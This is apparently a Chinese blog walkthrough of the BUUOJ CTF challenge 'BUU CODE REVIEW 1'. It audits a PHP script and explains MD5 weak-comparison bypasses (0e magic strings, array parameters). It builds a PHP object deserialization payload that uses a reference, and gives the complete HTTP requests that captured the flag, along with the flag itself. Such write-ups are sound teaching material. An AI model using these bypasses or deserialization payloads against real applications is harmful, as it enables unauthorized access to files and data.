web-buuoj-(BUU CODE REVIEW 1)


一、题面

访问服务器,返回一段php代码,考察代码审计。

二、分析

2.1 代码审计

<?php
/**
 * Created by PhpStorm.
 * User: jinzhao
 * Date: 2019/10/6
 * Time: 8:04 PM
 */

highlight_file(__FILE__);

class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

if($_GET['pleaseget'] === '1') {
    if($_POST['pleasepost'] === '2') {
        if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {
            unserialize($_POST['obj']);
        } 
    }
}

分析代码要想获得flag需要满足如下的条件:

  • 1)传递GET参数 pleaseget=1,传递POST参数pleasepost=2

  • 2)传递两个POST参数md51和md52,两个值不同,但是md5()结果弱相等。

  • 3)然后专递POST参数obj,通过反序列化之后,correct的值===input的值。

前两个条件比较容易,第三个条件如何构建呢?

base64_encode(uniqid()) 的作用是生成一个唯一的 ID,然后将其转换为 Base64 编码的字符串。如何让input的值===correct的值呢?

为了测试BUU类序列化后的内容,在win10上安装php:

win10安装php

  • 1、访问PHP for Windows官网,下载x64 Thread Safe的ZIP安装包。

  • 2、解压安装包,并配置环境变量。

    1. 右键点击“此电脑”或“我的电脑”,选择“属性”。
    2. 点击“高级系统设置”。
    3. 在“系统属性”窗口中,点击“环境变量”按钮。
    4. 在“系统变量”区域找到“Path”变量,点击“编辑”。
    5. 在编辑窗口中点击“新建”,然后添加PHP的安装目录(例如D:\php)和PHP的扩展目录(例如D:\php\ext)。
  • 3、配置php.ini文件:php.ini是PHP的配置文件,主要用于控制PHP解释器的行为和功能。

    在解压文件夹中找到php.ini-development,它一般用于开发环境,将文件重命名为php.ini。

  • 4、验证是否安装成功:同时按下Win+R键输入cmd打开命令行,在命令行输入php -v,如果出现如下所示的信息,则表示安装成功。

​ 报错:

PHP Warning: ‘C:\Windows\SYSTEM32\VCRUNTIME140.dll’ 14.36 is not compatible with this PHP build linked with 14.42 in Unknown on line 0

​ 原因是VCRUNTIME140.dll与PHP版本不兼容。

​ 两种解决方法:

1)需要访问下载 Windows 版和 Mac 版 Visual Studio 2019进行下载。

​ 安装完毕从新启动即可。

2)下载安装老版本的php,比如php7。

https://windows.php.net/downloads/releases/archives/ 这里有以往的php版本。

​ 这里我选择了php 7.3.30,没什么理由,看着顺眼。同样的操作安装一下。

​ 测试一下,安装成功了。

2.2 BUU类分析

编写php测试代码:

<?php
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

$obj = new BUU();
$serialize_obj=serialize($obj);
echo $serialize_obj."\n\n";
echo "----------------------------------------\n";

$obj_str='O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:0:"";}';
$obj2= unserialize($obj_str);
var_dump($obj2)

?>

序列化空对象后的字符串:

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:0:"";}

反序列化后var_dump输出的对象:

object(BUU)#2 (2) {
  ["correct"]=>
  string(0) ""
  ["input"]=>
  string(0) ""
}

如何才能让对象析构的时候correct的值和input的值相同呢?

核心:让input的值指向correct。**(借助外部提示)**

$obj->input = &$obj->correct;

2.3 input==correct的条件

<?php
class BUU {
   public $correct = "";
   public $input = "";

   public function __destruct() {
       try {
           $this->correct = base64_encode(uniqid());
           if($this->correct === $this->input) {
               echo file_get_contents("/flag");
           }
       } catch (Exception $e) {
       }
   }
}

$obj = new BUU();
$obj->input = &$obj->correct;
$serialize_obj=serialize($obj);
echo $serialize_obj."\n\n";
echo "----------------------------------------\n";

//$obj_str='O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";s:3:"ABC";}';
//$obj2= unserialize($obj_str);
//var_dump($obj2)
?>
image-20250213210014381

序列化后的内容如下:

O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} 

s:5:"input";R:2;

  • s:5:"input"; 表示一个字符串属性,属性名是 input,长度是 5 个字符。
  • R:2; 表示 input 的值是一个引用,引用的是序列化字符串中的第 2 个元素。这里的第 2 个元素是 s:0:"";,即空字符串。

input的值引用了correct的值,所以两者自然相等,所以能触发file_get_contents读取flag的执行,因为我本地电脑并没有flag文件,所以报了异常而已,但是说明input===correct的判断已经绕过。

2.4 md5弱类型绕过

2.4.1 方法一:0e字符串

QNKCDZO
s155964671a
s1091221200a

这几个字符串的md5值是0e开头的,0e开头的字符串会被当做科学计数法处理,0的指数仍然是0,0exxxxxx==0eyyyyyyyy。

2.4.2 方法二:数组绕过

MD5处理数组时返回null。

md51[]=1,md52[]=2,两个数数据虽然不相等,但是这两个数组经过md5()函数处理都是null,所以md5(md51[])==md5(md51[])。

三、解题

3.1 payload构造

经过上面的分析,可以构造请求了。访问首页,抓包,然后添加GET和POST参数。

GET /?pleaseget=1 HTTP/1.1
Host: 00b7e378-1421-4a1e-adbc-eb44ad7c9d95.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} 

但是没有拿到flag。

注意,请求改成POST,但还是没拿到,奇怪了。

POST /?pleaseget=1 HTTP/1.1
Host: 00b7e378-1421-4a1e-adbc-eb44ad7c9d95.node5.buuoj.cn:81
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

pleasepost=2&md51[]=1&md52[]=2&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;} 

改成数组也无法获取flag。

什么问题呢?

  • 分析是请求头不对

要加上Content-Type: application/x-www-form-urlencoded

成功拿到flag。

但是为什么一定要加这个头呢?

当请求头中包含 Content-Type: application/x-www-form-urlencoded 时,请求体中的数据会被编码为键值对的形式,每个键值对之间用 & 分隔,键和值之间用 = 分隔。例如:

key1=value1&key2=value2

这种格式的数据易于解析,服务器端可以通过标准的表单解析工具来处理这些数据。

为了保证数据能够被正确解析,建议始终显式设置 Content-Type 请求头。

flag

flag{f7e4f1ea-9861-4c2d-8b3a-7eaf75a7b82b}

总结

本文主要考察代码审计,核心考点:1)md5()弱类型比较-0e字符串/数组绕过;2)PHP反序列化漏洞。


文章作者: 司晓凯
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 司晓凯 !
  目录